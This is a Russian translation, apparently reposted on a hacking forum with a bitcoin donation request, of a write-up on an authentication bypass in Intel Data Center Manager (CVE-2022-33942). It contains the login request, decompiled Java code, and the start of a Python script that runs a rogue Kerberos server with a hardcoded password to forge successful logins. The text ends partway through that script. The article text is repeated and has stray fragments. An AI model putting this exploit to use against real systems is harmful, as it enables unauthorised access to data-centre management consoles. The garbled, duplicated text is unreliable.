ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> bc1qhavqpqvfwasuhf53xnaypvqhhvz966upnk8zy7 для поддержания анонимной ноды ETHEREUM - main и тестов
Консоль Intel Data Center Manager - это универсальная консоль для мониторинга и управления в режиме реального времени, позволяющая управлять всем центром обработки данных.
Эта небольшая серия из двух записей в блоге охватывает всю цепочку уязвимостей от неаутентифицированного пользователя до полного удаленного выполнения кода в Intel Data Center Manager (до версии 4.1.1.45749). Все описанные проблемы были обнаружены исключительно на основе анализа исходного кода декомпилированного приложения.
Первая уязвимость цепочки позволяет обойти весь процесс аутентификации DCM, если приложение настроено на аутентификацию от групп Active Directory с общеизвестными SID. Поскольку DCM Intel полагается только на SID и не проверяет подлинность данной службы Active Directory, приложение легко заставить взаимодействовать с произвольным сервером Kerberos/LDAP. Затем произвольный сервер отвечает на запросы аутентификации от Intel DCM, просто возвращая успешную аутентификацию, включая известный/соответствующий SID. В конечном итоге это позволяет аутентифицировать любого пользователя с любым паролем и любой домен Active Directory.
Intel выпустила совет по безопасности INTEL-SA-00713 об этой проблеме и присвоила ей CVE-2022-33942.
Уязвимая конфигурация
Предположим, что администратор настроил группу Guests домена rce.local на доступ к DCM с минимально возможными правами - уровнем Guest в DCM:
Из которых только в группе «Гости» нет текущих участников группы:
Основываясь на этой конфигурации, вы можете предположить, что эта конфигурация безопасна, потому что:
Параметры аутентификации
При обращении к DCM по порту 8643 с использованием HTTPS, перед вами открывается типичный экран аутентификации DcmConsole. Здесь вы также можете выбрать AD Account в качестве типа аутентификации, в результате чего появится дополнительное поле под названием Domain:
Итак, что произойдет, если вы попытаетесь пройти аутентификацию с помощью этой опции: Приложение отправляет HTTP-запрос POST, тип которого установлен на 1:
Обзор исходного кода FTW
Я расскажу вам шаг за шагом, как я обнаружил эту уязвимость и использую произвольную реализацию Kerberos и LDAP сервера через Python для ее использования. Мой эксплойт предполагает, что у вас есть контроль над пользовательским доменом (я использую hack.local для демонстрационных целей). Я также жестко закодировал пароль Active Directory Password0 в сценарии, то есть вы можете выбрать любого пользователя, но вы должны использовать этот пароль для Kerberos.
Подделка сервера аутентификации Kerberos
Большая часть ответственного исходного кода находится в классе com.intel.console.server.login.UserMgmtHandler.
Первое, что здесь важно, - это различие между типами аутентификации, задаваемыми параметром type. При выборе типа 1 (он же Active Directory) в строке 1030 вызывается функция loginAD(), которая передает все значения запроса, включая имя пользователя, пароль и домен:
Метод loginAD() выполняет несколько предпросмотровых действий, таких как получение полного доменного имени (строка 1190) и получение чистого имени пользователя (строка 1191). Это связано с тем, что вы также можете аутентифицироваться, используя схему username@domain, например, в REST API DCM. Полученные значения затем используются как свойства java.security.krb5, что одновременно является первым значительным кусочком головоломки - атакующий может контролировать kdc/realm аутентифицирующего сервера:
Далее идет сам процесс аутентификации, который основан на Kerberos v5 и который завершится неудачей, если аутентификация Kerberos не будет успешной (строки 1201 - 1203):
Как же нам пройти эту проверку, если у нас есть контроль над доменом? Правильно: нам нужно создать произвольный сервер Kerberos, который будет отвечать на запрос аутентификации и возвращать успешную аутентификацию.
AS_REQ
Давайте быстро рассмотрим процесс аутентификации Kerberos v5 и то, как DCM использует его. Когда вызов login() в строке 1201 достигнут, DCM посылает запрос AS_REQ на заданный сервер Kerberos. Этот запрос выглядит следующим образом:
Чтобы ответить на запрос AS_REQ, необходимо извлечь из запроса несколько сведений:
nonce - ответ также должен содержать nonce, который предоставил клиент (DCM). Это необходимо для предотвращения атак повторного воспроизведения.
realm - по сути, это запрашиваемый домен Active Directory, который требуется для AS_REP
username - это пользователь Active Directory, для которого мы должны вернуть успешную аутентификацию.
etype - это алгоритмы шифрования, которые поддерживает клиент. Нам не нужно извлекать их, просто выберите один из них для ответа.
AS_REP
В ответ на AS_REQ произвольный сервер Kerberos ответит сообщением AS_REP, которое выглядит следующим образом:
Первый etype указывает на алгоритм шифрования, затем следует сфера и имя пользователя, также известное как CNameString. Наиболее важной частью является enc-часть в конце сообщения, поскольку она является доказательством аутентификации. Это блок данных, зашифрованный сервером Kerberos с использованием пароля пользователя, который Kerberos извлекает из своей базы данных. Если пользователь также указал тот же пароль в процессе аутентификации, DCM может успешно расшифровать и прочитать его содержимое.
Расшифрованная часть шифра выглядит следующим образом:
Некоторые ключевые данные здесь следующие:
Возвращение произвольных объектов LDAP
После прохождения аутентификации Kerberos приложение переключается на LDAP с помощью класса com.intel.console.server.login.ADHelper (строки 1206, 1215-1216). Это означает, что нам также нужен произвольный LDAP-сервер для ответа на любые входящие LDAP-запросы от DCM.
Метод init() здесь просто подготавливает LDAP-соединение с тем самым хостом, заданным переменной fullDomain, который мы контролируем, и, наконец, вызывает LDAP bindRequest (строка 1216):
The
И ответит наш произвольный сервер LDAP, используя сообщение об успешном связывании, которое выглядит следующим образом:
Следующие несколько строк важны:
Во-первых, вызов getUserSid() (строка 1218) создает поисковый запрос LDAP (строка 73) и выполняет фактический LDAP searchRequest (строка 80), чтобы вернуть SID объекта (строки 82-86) или null, если запрашиваемый пользователь не найден:
Необработанный SearchRequest выглядит следующим образом:
Однако наш произвольный LDAP-сервер вернет SID для любого запрашиваемого пользователя S-1-5-4294967295-4294967295-4294967295-4294967295-4294967295-4294967295 (hex: 0x0105000000000005ffffffffffffffffffffffffffffffffffffffffff), что важно для прохождения еще одной проверки позже:
Вызов getUsersBySidAndDomain() в строке 1219 окончательно формирует SQL-запрос, проверяющий ранее полученный sid на соответствие базе данных DCM (строка 421):
Однако, поскольку мы используем наш собственный произвольный Kerberos/LDAP, который возвращает здесь случайный SID (SID реальных пользователей угадать невозможно), он вернет пустой userList в строке 462:
Поскольку userList пуст, вызов следующего метода createUserPrincipal() в строке 1220 также вернет null, в результате чего userPrincipal также станет null:
Эта реализация нацелена на процесс аутентификации одного пользователя Active Directory. Однако мы не можем использовать этот путь, поскольку мы не знаем (и не можем угадать) SID любого отдельного пользовательского объекта Active Directory.
Запутывание DCM с известными SID
Далее происходит проверка, является ли userPrincipal нулевым (строка 1222). Поскольку процесс аутентификации одного пользователя не удался, следующим логическим шагом будет проверка того, разрешена ли аутентификация группы пользователя, поскольку это фактический вариант аутентификации в DCM. Это происходит с помощью следующей последовательности для получения информации о группе пользователя Active Directory:
Вызов в строке 1223 передает наш произвольный SID пользователя S-1-5-4294967295-4294967295-4294967295-4294967295-4294967295 в getUserGroupSid(), где поиск заданного SID пользователя происходит в строке 122:
Это вызывает еще два запроса LDAP. Первый - для объекта пользователя:
на который наш произвольный LDAP-сервер всегда отвечает независимо от SID пользователя, просто возвращая произвольное distinguishedName:
Второй запрос LDAP (строка 133) запрашивает tokenGroups (также известные как SIDs групп) данного пользователя
Поскольку наш произвольный LDAP-сервер знает SID S-1-5-4294967295-4294967295-4294967295-4294967295-4294967295, он с радостью ответит на этот запрос о SID группы пользователя, выдав S-1-5-32-546 (hex: 0x01020000000000052000000022020000), S-1-5-32-545 (hex: 0x01020000000000052000000020020000) и еще один случайный ID. Таким образом, первые два групповых SID называются "well-known-sids" и представляют группу "Гости" и группу "Пользователи":
Это означает, что массив groupNames (строка 1222) теперь заполнен возвращаемыми SID групп и передается в вызов getUserGroupInfo() в строке 1224:
getUserGroupInfo() по сути строит условие SQL-запроса на основе различных SID (строки 1312-1324):
и, наконец, передает условие в другой вызов getUsers():
getUsers() в ответ выполняет SQL-запрос, который проверяет, существует ли заданный SID в базе данных:
Поскольку администратор действительно настроил группу Guests на возможность аутентификации, он возвращает несколько параметров, включая имя группы и ее SID:
Последним вызовом в последовательности аутентификации является createUserPrincipal(), который включает данные предыдущего SQL-запроса и в конечном итоге проверяет, присутствует ли данный пользователь в списке разрешенных пользователей DCM:
Поскольку группа S-1-5-32-546 авторизована для аутентификации в DCM, а наш произвольный LDAP-сервер вернул случайный объект пользователя, который имеет тот же набор SID группы, DCM с радостью приступает к аутентификации пользователя, возвращая объект DcmUserPrincipal:
Это в конечном итоге означает, что можно аутентифицироваться в DCM, используя любое имя пользователя и любое доменное имя, потому что единственное, что проверяется здесь, это SID группы пользователей.
Автоэксплуатация
Получился сложный скрипт для эксплуатации этой уязвимости:
Вот эксплойт в действии:
https://www.rcesecurity.com/wp-content/uploads/2022/11/CVE-2022-33942-PoC.mov
Исправление Intel
Intel исправила эту проблему, применив LDAPS и выполнив дополнительную проверку сертификата во внутреннем SSL-хранилище DCM, где сертификат Active Directory CA должен быть доверенным, начиная с версии 5.0 DCM.
О неправильной интерпретации CVSS от Intel
Изначально я сообщил об этой ошибке в программу вознаграждения Intel. Важно отметить, что в политике программы указано, что они используют CVSS для оценки влияния уязвимости, а значит, они должны следовать официальному определению CVSS, верно? Не совсем так. Intel понизила рейтинг этой проблемы до 8.8 по CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H, а также упоминает об этом в своем бюллетене безопасности INTEL-SA-00713. Вам интересно, почему мой официальный совет оценивает эту проблему в 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)?
AV:A против AV:N
Intel считает, что "DCM - это корпоративное приложение и было разработано для административных сетей", что является их оправданием для понижения AV-вектора. Я привел им официальный документ спецификации CVSS, в котором значение Adjacent определяется следующим образом:
"Уязвимый компонент связан с сетевым стеком, но атака ограничена на уровне протокола логически смежной топологией. Это может означать, что атака должна быть начата из той же общей физической (например, Bluetooth или IEEE 802.11) или логической (например, локальная IP-подсеть) сети, или из безопасного или иным образом ограниченного административного домена (например, MPLS, безопасная VPN в административной сетевой зоне). Одним из примеров смежной атаки может быть ARP (IPv4) или соседское обнаружение (IPv6), приводящее к отказу в обслуживании в локальном сегменте LAN (например, CVE-2013-6014)".
Хотя уязвимый компонент действительно привязан к сетевому стеку, он НЕ ограничен на уровне протокола - они даже не применяют никаких правил iptables или подобных, чтобы заставить его быть смежным. Поэтому AV должен быть установлен на N.
UI:R против UI:N
Intel также считает, что UI:R применяется потому, что администратор должен настроить DCM таким образом, чтобы разрешить аутентификацию для группы Active Directory с известным SID. Однако в документе спецификации CVSS это условие изменения конфигурации явно упоминается в векторе сложности атаки:
Если для успеха атаки требуется определенная конфигурация, базовые метрики должны оцениваться, исходя из того, что уязвимый компонент находится в этой конфигурации.
Это означает, что вектор UI должен оставаться нетронутым в UI:N, а вектор AC должен быть установлен на базовую метрику в AC:L.
Последствия
Intel сделала одноразовое исключение и вознаградила 10 000 долларами за эту ошибку, что замечательно, но это также была напряженная борьба, чтобы добраться до этой точки.
Для хакеров и программ вознаграждения за баги очень важно иметь общий базовый уровень для измерения последствий и обсуждения на его основе. Я также признаю, что существует некоторое игровое пространство в отношении интерпретации CVSS, но принципиальное игнорирование основных определений базовой структуры, по сути, означает разрушение доверия с хакерами.
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> bc1qhavqpqvfwasuhf53xnaypvqhhvz966upnk8zy7 для поддержания анонимной ноды ETHEREUM - main и тестов
Консоль Intel Data Center Manager - это универсальная консоль для мониторинга и управления в режиме реального времени, позволяющая управлять всем центром обработки данных.
Эта небольшая серия из двух записей в блоге охватывает всю цепочку уязвимостей от неаутентифицированного пользователя до полного удаленного выполнения кода в Intel Data Center Manager (до версии 4.1.1.45749). Все описанные проблемы были обнаружены исключительно на основе анализа исходного кода декомпилированного приложения.
Первая уязвимость цепочки позволяет обойти весь процесс аутентификации DCM, если приложение настроено на аутентификацию от групп Active Directory с общеизвестными SID. Поскольку DCM Intel полагается только на SID и не проверяет подлинность данной службы Active Directory, приложение легко заставить взаимодействовать с произвольным сервером Kerberos/LDAP. Затем произвольный сервер отвечает на запросы аутентификации от Intel DCM, просто возвращая успешную аутентификацию, включая известный/соответствующий SID. В конечном итоге это позволяет аутентифицировать любого пользователя с любым паролем и любой домен Active Directory.
Intel выпустила совет по безопасности INTEL-SA-00713 об этой проблеме и присвоила ей CVE-2022-33942.
Уязвимая конфигурация
Предположим, что администратор настроил группу Guests домена rce.local на доступ к DCM с минимально возможными правами - уровнем Guest в DCM:
Из которых только в группе «Гости» нет текущих участников группы:
Основываясь на этой конфигурации, вы можете предположить, что эта конфигурация безопасна, потому что:
- Вы должны быть членом группы Guests в домене rce.local
- Вы должны знать пароль любого члена группы "Гости".
Параметры аутентификации
При обращении к DCM по порту 8643 с использованием HTTPS, перед вами открывается типичный экран аутентификации DcmConsole. Здесь вы также можете выбрать AD Account в качестве типа аутентификации, в результате чего появится дополнительное поле под названием Domain:
Итак, что произойдет, если вы попытаетесь пройти аутентификацию с помощью этой опции: Приложение отправляет HTTP-запрос POST, тип которого установлен на 1:
Код:
POST /DcmConsole/login/login HTTP/1.1
Host: 192.168.178.22:8643
Content-Length: 175
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="99"
Accept: application/json, text/plain, */*
Content-Type: text/plain
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0
Sec-Ch-Ua-Platform: "macOS"
Origin: https://192.168.178.22:8643
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.178.22:8643/DcmConsole/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
{"antiCSRFId":null,"requestObj":{"name":"mrtuxracer","password":"Password0","type":1,"domain":"hack.local","loginTime":"Sun Jun 26 2022 12:05:07 GMT+0200 (Central European Summer Time)"}}
Обзор исходного кода FTW
Я расскажу вам шаг за шагом, как я обнаружил эту уязвимость и использую произвольную реализацию Kerberos и LDAP сервера через Python для ее использования. Мой эксплойт предполагает, что у вас есть контроль над пользовательским доменом (я использую hack.local для демонстрационных целей). Я также жестко закодировал пароль Active Directory Password0 в сценарии, то есть вы можете выбрать любого пользователя, но вы должны использовать этот пароль для Kerberos.
Подделка сервера аутентификации Kerberos
Большая часть ответственного исходного кода находится в классе com.intel.console.server.login.UserMgmtHandler.
Первое, что здесь важно, - это различие между типами аутентификации, задаваемыми параметром type. При выборе типа 1 (он же Active Directory) в строке 1030 вызывается функция loginAD(), которая передает все значения запроса, включая имя пользователя, пароль и домен:
Код:
/* 1022 */ List exceededSessions = new LinkedList<>();
/* 1023 */ int userType = 2;
/* */
/* 1025 */ if (type == 0) {
/* 1026 */ logout(request, noSession);
/* 1027 */ userType = loginConsole(request, name, password, exceededSessions, noSession);
/* 1028 */ } else if (type == 1) {
/* 1029 */ logout(request, noSession);
/* 1030 */ userType = loginAD(request, name, password, domain, exceededSessions, noSession);
/* 1031 */ } else if (type == 2) {
/* 1032 */ logout(request, noSession);
/* 1033 */ userType = loginLDAP(request, name, password, exceededSessions, noSession);
/* */ }
Код:
/* */ public static int loginAD(HttpServletRequest request, String name, String password, String domain, List exceededSessions, boolean noSession) throws ConsoleAuthCheckException {
/* 1187 */ HttpSession session = noSession ? null : request.getSession(true);
/* 1188 */ Subject subject = new Subject();
/* */
/* 1190 */ String fullDomain = getFullDomain(name, domain);
/* 1191 */ String pureUser = getPureUser(name);
/* */
/* 1193 */ System.setProperty("java.security.krb5.kdc", fullDomain.toUpperCase(Locale.ENGLISH));
/* 1194 */ System.setProperty("java.security.krb5.realm", fullDomain.toUpperCase(Locale.ENGLISH));
Далее идет сам процесс аутентификации, который основан на Kerberos v5 и который завершится неудачей, если аутентификация Kerberos не будет успешной (строки 1201 - 1203):
Код:
/* 1196 */ LoginContext lc = null;
/* */
/* */ try {
/* 1199 */ lc = new LoginContext("Krb5Login", subject, new DcmLoginCallbackHandler(pureUser, password));
/* */
/* 1201 */ lc.login();
/* 1202 */ } catch (LoginException le) {
/* 1203 */ handleAuthenticationException(le);
/* */ }
AS_REQ
Давайте быстро рассмотрим процесс аутентификации Kerberos v5 и то, как DCM использует его. Когда вызов login() в строке 1201 достигнут, DCM посылает запрос AS_REQ на заданный сервер Kerberos. Этот запрос выглядит следующим образом:
Чтобы ответить на запрос AS_REQ, необходимо извлечь из запроса несколько сведений:
nonce - ответ также должен содержать nonce, который предоставил клиент (DCM). Это необходимо для предотвращения атак повторного воспроизведения.
realm - по сути, это запрашиваемый домен Active Directory, который требуется для AS_REP
username - это пользователь Active Directory, для которого мы должны вернуть успешную аутентификацию.
etype - это алгоритмы шифрования, которые поддерживает клиент. Нам не нужно извлекать их, просто выберите один из них для ответа.
AS_REP
В ответ на AS_REQ произвольный сервер Kerberos ответит сообщением AS_REP, которое выглядит следующим образом:
Первый etype указывает на алгоритм шифрования, затем следует сфера и имя пользователя, также известное как CNameString. Наиболее важной частью является enc-часть в конце сообщения, поскольку она является доказательством аутентификации. Это блок данных, зашифрованный сервером Kerberos с использованием пароля пользователя, который Kerberos извлекает из своей базы данных. Если пользователь также указал тот же пароль в процессе аутентификации, DCM может успешно расшифровать и прочитать его содержимое.
Расшифрованная часть шифра выглядит следующим образом:
Код:
key=EncryptionKey:
keytype=18
keyvalue=0x2deb4c8d3c541791c23080abf14d896bc27609e24f80a15911d0720ec83d5237
last-req=LastReq:
Sequence:
lr-type=0
lr-value=20220627111947Z
nonce=76839024
key-expiration=20370914024805Z
flags=6356992
authtime=20220627111947Z
endtime=20220627211947Z
srealm=HACK.LOCAL
sname=PrincipalName:
name-type=2
name-string=SequenceOf:
krbtgt HACK.LOCAL
- nonce - Это то же самое значение nonce, которое клиент представил в сообщении AS_REQ и повторно используется здесь для проверки целостности.
- authtime - Используется для того, чтобы убедиться в отсутствии перекосов часов, а также в том, что запрос не будет воспроизведен.
- endtime - Используется для определения достоверности данных.
- srealm - Это соответствует сфере из AS_REQ.
Возвращение произвольных объектов LDAP
После прохождения аутентификации Kerberos приложение переключается на LDAP с помощью класса com.intel.console.server.login.ADHelper (строки 1206, 1215-1216). Это означает, что нам также нужен произвольный LDAP-сервер для ответа на любые входящие LDAP-запросы от DCM.
Метод init() здесь просто подготавливает LDAP-соединение с тем самым хостом, заданным переменной fullDomain, который мы контролируем, и, наконец, вызывает LDAP bindRequest (строка 1216):
Код:
/* 1206 */ ADHelper adHelper = null;
/* 1207 */ int[] userType = { 2 };
/* */
/* */ try {
/* 1210 */ String domainUserName = getDomainUser(name, fullDomain);
/* 1211 */ Boolean enbaleTls = Boolean.valueOf(Boolean.parseBoolean(Configuration.getProperty(InternalProperty.ENABLE_AD_TLS
/* 1212 */ .name())));
/* 1213 */ int adPort = Integer.parseInt(Configuration.getProperty(InternalProperty.AD_PORT
/* 1214 */ .name()));
/* 1215 */ adHelper = new ADHelper(fullDomain, adPort, domainUserName, password, enbaleTls);
/* 1216 */ adHelper.init();
The
bindRequest выглядит следующим образом:
И ответит наш произвольный сервер LDAP, используя сообщение об успешном связывании, которое выглядит следующим образом:
Следующие несколько строк важны:
Код:
/* 1218 */ String userSid = adHelper.getUserSid(pureUser);
/* 1219 */ UserInfo[] userInfo = getUsersBySidAndDomain(userSid, fullDomain);
/* 1220 */ DcmUserPrincipal userPrincipal = createUserPrincipal(domainUserName, userInfo, 1, userType);
Код:
/* */ public String getUserSid(String userName) throws NamingException {
/* 72 */ String searchBase = makeRootBase();
/* 73 */ String searchFilter = "(&(objectClass=user)(sAMAccountName=" + userName + "))";
/* */
/* */
/* 76 */ SearchControls searchControls = new SearchControls();
/* 77 */ searchControls.setSearchScope(2);
/* 78 */ searchControls.setReturningAttributes(new String[] { "objectSID" });
/* */
/* 80 */ NamingEnumeration results = this.ctx.search(searchBase, searchFilter, searchControls);
/* */
/* 82 */ SearchResult result = null;
/* 83 */ if (results.hasMoreElements()) {
/* 84 */ result = results.nextElement();
/* 85 */ return buildSid((byte[])result.getAttributes()
/* 86 */ .get("objectSID").get());
/* */ }
/* */
/* 89 */ return null;
/* */ }
Необработанный SearchRequest выглядит следующим образом:
Однако наш произвольный LDAP-сервер вернет SID для любого запрашиваемого пользователя S-1-5-4294967295-4294967295-4294967295-4294967295-4294967295-4294967295 (hex: 0x0105000000000005ffffffffffffffffffffffffffffffffffffffffff), что важно для прохождения еще одной проверки позже:
Вызов getUsersBySidAndDomain() в строке 1219 окончательно формирует SQL-запрос, проверяющий ранее полученный sid на соответствие базе данных DCM (строка 421):
Код:
/* */ private static UserInfo[] getUsersBySidAndDomain(String sid, String domain) throws ConsoleDbException {
/* 415 */ List userList = new LinkedList<>();
/* 416 */ Connection conn = ConnectionProvider.getConnection();
/* 417 */ PreparedStatement statement = null;
/* 418 */ ResultSet res = null;
/* */
/* */ try {
/* 421 */ String query = "select \"id\", \"name\", \"description\",\"type\",\"domain\",\"account_type\",\"sid\" from \"T_User\" where sid=? and domain=?";
/* */
/* 423 */ statement = conn.prepareStatement(query);
/* 424 */ int paramIndex = 1;
/* 425 */ statement.setString(paramIndex++, sid);
/* 426 */ statement.setString(paramIndex++, domain);
/* 427 */ res = statement.executeQuery();
[...]
/* 462 */ return userList.toArray(new UserInfo[userList.size()]);
/* */ }
Однако, поскольку мы используем наш собственный произвольный Kerberos/LDAP, который возвращает здесь случайный SID (SID реальных пользователей угадать невозможно), он вернет пустой userList в строке 462:
Поскольку userList пуст, вызов следующего метода createUserPrincipal() в строке 1220 также вернет null, в результате чего userPrincipal также станет null:
Код:
/* */ private static DcmUserPrincipal createUserPrincipal(String userName, UserInfo[] userInfo, int accountType, int[] userType) {
/* 1276 */ if (userInfo == null || userInfo.length == 0) {
/* 1277 */ return null;
/* */ }
Эта реализация нацелена на процесс аутентификации одного пользователя Active Directory. Однако мы не можем использовать этот путь, поскольку мы не знаем (и не можем угадать) SID любого отдельного пользовательского объекта Active Directory.
Запутывание DCM с известными SID
Далее происходит проверка, является ли userPrincipal нулевым (строка 1222). Поскольку процесс аутентификации одного пользователя не удался, следующим логическим шагом будет проверка того, разрешена ли аутентификация группы пользователя, поскольку это фактический вариант аутентификации в DCM. Это происходит с помощью следующей последовательности для получения информации о группе пользователя Active Directory:
Код:
/* 1222 */ if (userPrincipal == null) {
/* 1223 */ String[] groupNames = adHelper.getUserGroupSid(userSid);
/* 1224 */ UserInfo[] groupInfo = getUserGroupInfo(groupNames);
/* 1225 */ userPrincipal = createUserPrincipal(domainUserName, groupInfo, 2, userType);
/* */ }
Вызов в строке 1223 передает наш произвольный SID пользователя S-1-5-4294967295-4294967295-4294967295-4294967295-4294967295 в getUserGroupSid(), где поиск заданного SID пользователя происходит в строке 122:
Код:
/* */ public String[] getUserGroupSid(String userSid) throws NamingException {
/* 114 */ String searchBase = makeRootBase();
/* 115 */ String searchFilter = "(&(objectClass=user)(objectSid=" + userSid + "))";
/* */
/* 117 */ SearchControls searchControls = new SearchControls();
/* 118 */ searchControls.setSearchScope(2);
/* 119 */ searchControls.setReturningAttributes(new String[] { "distinguishedName" });
/* */
/* */
/* 122 */ NamingEnumeration results = this.ctx.search(searchBase, searchFilter, searchControls);
/* */
/* 124 */ SearchResult result = null;
/* 125 */ if (results.hasMoreElements()) {
/* 126 */ result = results.nextElement();
/* */
/* 128 */ String dn = (String)result.getAttributes().get("distinguishedName").get();
/* */
/* 130 */ SearchControls searchContext = new SearchControls(0, 0L, 0, new String[] { "tokenGroups" }, false, false);
/* */
/* */
/* 133 */ results = this.ctx.search(dn, "(&(objectClass=user))", searchContext);
/* 134 */ if (results.hasMoreElements()) {
/* 135 */ SearchResult item = results.next();
/* 136 */ Attributes metadata = item.getAttributes();
/* 137 */ Attribute attribute = metadata.get("tokenGroups");
/* 138 */ NamingEnumeration tokens = attribute.getAll();
/* 139 */ List ret = new LinkedList<>();
/* 140 */ while (tokens.hasMore()) {
/* 141 */ byte[] sid = (byte[])tokens.next();
/* 142 */ ret.add(buildSid(sid));
/* */ }
/* 144 */ return ret.toArray(new String[ret.size()]);
/* */ }
/* */ }
/* */
/* 148 */ return null;
/* */ }
Это вызывает еще два запроса LDAP. Первый - для объекта пользователя:
на который наш произвольный LDAP-сервер всегда отвечает независимо от SID пользователя, просто возвращая произвольное distinguishedName:
Второй запрос LDAP (строка 133) запрашивает tokenGroups (также известные как SIDs групп) данного пользователя
Поскольку наш произвольный LDAP-сервер знает SID S-1-5-4294967295-4294967295-4294967295-4294967295-4294967295, он с радостью ответит на этот запрос о SID группы пользователя, выдав S-1-5-32-546 (hex: 0x01020000000000052000000022020000), S-1-5-32-545 (hex: 0x01020000000000052000000020020000) и еще один случайный ID. Таким образом, первые два групповых SID называются "well-known-sids" и представляют группу "Гости" и группу "Пользователи":
Это означает, что массив groupNames (строка 1222) теперь заполнен возвращаемыми SID групп и передается в вызов getUserGroupInfo() в строке 1224:
getUserGroupInfo() по сути строит условие SQL-запроса на основе различных SID (строки 1312-1324):
Код:
/* */ private static UserInfo[] getUserGroupInfo(String[] groups) throws ConsoleDbException {
/* 1310 */ UserInfo[] groupInfo = null;
/* */
/* 1312 */ if (groups != null && groups.length != 0) {
/* 1313 */ String condition = "";
/* 1314 */ for (String groupSid : groups) {
/* 1315 */ if (condition.isEmpty()) {
/* 1316 */ condition = condition + "(";
/* */ } else {
/* 1318 */ condition = condition + ",";
/* */ }
/* 1320 */ condition = condition + "'" + condition + "'";
/* */ }
/* */
/* 1323 */ condition = condition + ")";
/* 1324 */ groupInfo = getUsers(" sid in " + condition);
/* */ }
/* 1326 */ return groupInfo;
/* */ }
и, наконец, передает условие в другой вызов getUsers():
getUsers() в ответ выполняет SQL-запрос, который проверяет, существует ли заданный SID в базе данных:
Код:
/* */ private static UserInfo[] getUsers(String condition) throws ConsoleDbException {
/* 517 */ List userList = new LinkedList<>();
/* */
/* 519 */ Connection conn = ConnectionProvider.getConnection();
/* 520 */ PreparedStatement statement = null;
/* 521 */ ResultSet res = null;
/* */
/* */ try {
/* 524 */ String query = "select \"id\", \"name\", \"description\",\"type\",\"domain\",\"account_type\",\"sid\" from \"T_User\" where " + condition;
/* */
/* 526 */ statement = conn.prepareStatement(query);
/* 527 */ res = statement.executeQuery();
[...]
Поскольку администратор действительно настроил группу Guests на возможность аутентификации, он возвращает несколько параметров, включая имя группы и ее SID:
Последним вызовом в последовательности аутентификации является createUserPrincipal(), который включает данные предыдущего SQL-запроса и в конечном итоге проверяет, присутствует ли данный пользователь в списке разрешенных пользователей DCM:
Код:
/* */ private static DcmUserPrincipal createUserPrincipal(String userName, UserInfo[] userInfo, int accountType, int[] userType) {
/* 1276 */ if (userInfo == null || userInfo.length == 0) {
/* 1277 */ return null;
/* */ }
/* */
/* 1284 */ Map<integer, list<userinfo="">> usersByType = (Map<integer, list<userinfo="">>)Arrays.stream(userInfo).collect(Collectors.groupingBy(UserInfo::getType));
/* */
/* 1290 */ int[] userTypeOrder = { 1, 3, 4, 2 };
/* */
/* 1292 */ for (int type : userTypeOrder) {
/* 1293 */ List userList = usersByType.get(Integer.valueOf(type));
/* 1294 */ if (userList != null && !userList.isEmpty()) {
/* */
/* */
/* */
/* 1298 */ Collections.sort(userList);
/* 1299 */ List userIds = (List)userList.stream().map(UserInfo::getId).collect(Collectors.toList());
/* 1300 */ userType[0] = type;
/* 1301 */ return new DcmUserPrincipal(userName, userIds, accountType);
/* */ }
/* */ }
/* */
/* 1305 */ return null;
/* */ }</integer,></integer,>
Поскольку группа S-1-5-32-546 авторизована для аутентификации в DCM, а наш произвольный LDAP-сервер вернул случайный объект пользователя, который имеет тот же набор SID группы, DCM с радостью приступает к аутентификации пользователя, возвращая объект DcmUserPrincipal:
Это в конечном итоге означает, что можно аутентифицироваться в DCM, используя любое имя пользователя и любое доменное имя, потому что единственное, что проверяется здесь, это SID группы пользователей.
Автоэксплуатация
Получился сложный скрипт для эксплуатации этой уязвимости:
Код:
import socket
import struct
import binascii
from ldap3.protocol.rfc4511 import SearchResultReference
from pyasn1.codec.der import decoder, encoder
from pyasn1.codec.ber.encoder import encode
from pyasn1.type.univ import noValue
from datetime import datetime, timedelta
from impacket.krb5 import constants
from impacket.krb5.crypto import (Key, Enctype, encrypt, _AES256CTS)
from impacket.krb5.asn1 import AS_REQ, AS_REP, ETYPE_INFO2, EncASRepPart
from ldap3.protocol.rfc4511 import (
LDAPMessage, MessageID, ProtocolOp, BindResponse, ResultCode, SearchResultDone,
SearchResultEntry, LDAPDN, PartialAttributeList, PartialAttribute,
AttributeDescription, Vals, AttributeValue
)
listen_ip = "0.0.0.0"
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:
# Bind the socket to the port
server_address = (listen_ip, 88)
s.bind(server_address)
while True:
print("\n[+] Waiting for incoming Kerberos UDP Request")
data, address = s.recvfrom(4096)
print("[+] Received connection from {}".format(address))
if data:
# Refuse UDP connection with a KRB4KRB_ERR_RESPONSE_TOO_BIG
# Details of the response don't really matter such as the domain name
payload1 = bytes.fromhex("7e583056a003020105a10302011ea411180f32303232303631303134353030375aa50502030a6c5fa603020134a90b1b095243452e4c4f43414caa1e301ca003020102a11530131b066b72627467741b095243452e4c4f43414c")
sent = s.sendto(payload1, address)
break
s.close()
print("[+] Answered Kerberos UDP Authentication Request")
# Let's open up port 88 for Kerberos v5 interactions
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
print("[+] Waiting for incoming Kerberos TCP Request")
s.bind((listen_ip, 88))
s.listen()
conn, address = s.accept()
with conn:
print("[+] Received Kerberos connection from {}".format(address))
while True:
recvDataLen = struct.unpack('!i', conn.recv(4))[0]
r = conn.recv(recvDataLen)
while len(r) < recvDataLen:
r += conn.recv(recvDataLen - len(r))
# Let's first parse the AS_REQ
asReq = decoder.decode(r, asn1Spec=AS_REQ())[0]
# Let's get a couple of things from the initial request required to build further responses
nonce = asReq['req-body']['nonce']
realm = str(asReq['req-body']['realm'])
username = str(asReq['req-body']['cname']['name-string'][0])
# Do some crypto stuff
# salt is composed of the realm concatenated with the username
salt = realm + username
aesKey = _AES256CTS.string_to_key("Password0", salt, params=None).contents
key = Key(Enctype.AES256, aesKey)
